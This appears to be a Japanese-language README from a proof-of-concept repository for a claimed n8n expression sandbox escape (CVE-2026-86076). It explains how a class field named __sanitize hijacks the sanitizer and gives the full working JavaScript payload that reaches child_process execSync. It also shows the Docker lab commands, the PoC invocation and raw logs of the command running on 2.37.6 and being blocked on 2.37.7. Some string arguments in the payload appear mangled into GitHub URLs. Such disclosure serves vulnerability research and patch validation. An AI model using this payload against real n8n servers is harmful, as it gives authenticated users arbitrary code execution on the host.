
CVE-2026-86076 — クラスフィールドの __sanitize 再バインドによる n8n 式サンドボックスエスケープ(バックエンドRCE)。v2.37.6(uid=node)/ v2.37.7 で検証済み。
n8n バックエンドプロセスにおける認証済み(ワークフロー編集権限)のコード実行。式コンパイラは計算されたメンバーアクセスごとに this.__sanitize(key) を注入するが、__sanitize という名前のクラスフィールドがクラス本体の残りの部分でそのサニタイザーを再バインドしてしまい、constructor を通して実際の Function コンストラクタに到達する → process.mainModule.require('child_process')。
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H< 1.123.76、>= 2.0.0 < 2.37.7、>= 2.38.0 < 2.38.2184584828610("chore: Bundle 2.x (backport to release-candidate/2.37.x)"、#37588)
→ packages/workflow/src/expression-sandboxing.ts(visitClassBody が予約されたメンバー名を拒否)および packages/@n8n/tournament/src/ExpressionBuilder.ts(___n8n_data が this ではなくレキシカルバインディングに変更)。PrototypeSanitizer(AST のアフターフック)は次のように書き換える
[]['constr' + 'uctor'] → [][this.__sanitize('constr' + 'uctor')]
dataNode は式のデータオブジェクトです。式に関数リテラルが含まれていない場合、dataNode はレキシカルな ___n8n_data ではなく this として出力されます:
// packages/@n8n/tournament/src/ExpressionBuilder.ts (2.37.6)
let dataNode = b.thisExpression();
if (hasFn) { dataNode = b.identifier(dataNodeName); ... }
クラスフィールド初期化子の内部では this はインスタンスであるため、__sanitize という名前のフィールドがサニタイザ呼び出しを乗っ取ります。パススルーの代替実装で十分です — [].concat.bind([]) は ['constructor'] を返し、obj[['constructor']] はキー constructor に強制変換されます:
(new (class {
__sanitize = [].concat.bind([]);
x = []['constr'+'uctor']['constr'+'uctor']('return process')()
['main'+'Module']['requ'+'ire'](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%27child_process%27)['exec'+'Sync'](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%27id%27).toString()
})).x
出力されるコード(実際のコンパイラを使用してコンテナ内で検証済み):
return (new (class { __sanitize = [].concat.bind([]); x = [][this.__sanitize("constr"+"uctor")][this.__sanitize("constr"+"uctor")](...
パッチ適用前は、__sanitize というクラスメンバーを拒否するものは何もありませんでした
(RESERVED_VARIABLE_NAMES はバインドされた識別子に対してのみチェックされていました)。
このペイロードにはインプロセス式エンジンが必要です:
environment:
- N8N_EXPRESSION_ENGINE=legacy
デフォルトの vm エンジンでは、同じ式が依然として AST サニタイザーを回避します([]['constr'+'uctor'] はもはやブロックされない — 検証済み)。しかし、コードは isolated-vm アイソレート内で実行され、そこには process.mainModule が存在しないため、ホスト側のコード実行には至りません。2.37.7 は両方のエンジンでこの式を拒否します。
cd ~/projects/poc-labs/n8n
docker compose -p poc-n8n-cve86076 -f docker-compose.2376.yml up -d # n8nio/n8n:2.37.6 -> :20002
docker compose -p poc-n8n-cve86076-fix -f docker-compose.2377.yml up -d # n8nio/n8n:2.37.7 -> :20003
Both files pin N8N_EXPRESSION_ENGINE=legacy, SQLite, bind-mounted ./data-*.
The PoC creates the owner account itself (POST /rest/owner/setup + /rest/login).
python3 n8n_poc.py --url http://127.0.0.1:20002 \
--command 'id; touch /tmp/PWNED_86076; ls -l /tmp/PWNED_86076'
run_vulnerable_2.37.6.txt)[*] target : http://127.0.0.1:20002
[*] version : undisclosed
[*] auth : logged in as [email protected]
[*] payload : (new (class { __sanitize = [].concat.bind([]); x = []["constr"+"uctor"]["constr"+"uctor"]("return process")()["main"+"Module"]["requ"+"ire"](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%22child_process%22)["exec"+"Sync"]("id; touch /tmp/PWNED_86076; ls -l /tmp/PWNED_86076").toString() })).x
[*] workflow : fzbEEvoS4e1Y96wB
[*] execution: 11
[+] command output:
uid=1000(node) gid=1000(node) groups=1000(node)
-rw-r--r-- 1 node node 0 Oct 24 13:38 /tmp/PWNED_86076
=> PASS (CVE-2026-86076: command executed as the n8n process user)
exit=0
コンテナから読み戻された副作用 (side_effect_2.37.6.txt):
-rw-r--r-- 1 node node 0 Oct 24 13:38 /tmp/PWNED_86076
uid=1000(node) gid=1000(node) groups=1000(node)
run_patched_2.37.7.txt)[*] target : http://127.0.0.1:20003
[*] auth : logged in as [email protected]
[*] payload : (new (class { __sanitize = [].concat.bind([]); ...
[*] workflow : L4394ZmScoegIFnf
[*] execution: 4
[!] no code execution: Cannot use "__sanitize" due to security concerns
=> FAIL (CVE-2026-86076: expression blocked or produced no output)
exit=1
$ docker exec n8n-vuln-2377 ls -l /tmp/PWNED_86076
ls: /tmp/PWNED_86076: No such file or directory
コマンドの stdout は execSync(...).toString() によって Set ノードの値として返され、
GET /rest/executions/<id>?includeData=true から読み戻されます(n8n の「flatted」ペイロードで、
スクリプト内でデコードされます)。ディスク上の副作用(/tmp/PWNED_86076)はさらに
docker exec で確認されました。
| ファイル | 内容 |
|---|---|
n8n_poc.py | 標準ライブラリのみの PoC(--url --email --password --command --cve --output) |
run_vulnerable_2.37.6.txt, run_patched_2.37.7.txt | 生の実行ログ |
evidence_vulnerable_2.37.6.json, evidence_patched_2.37.7.json | JSON 証拠 |
side_effect_2.37.6.txt, side_effect_2.37.7.txt | コンテナ側の確認 |
docker_logs_2.37.6.txt, docker_logs_2.37.7.txt | コンテナログ |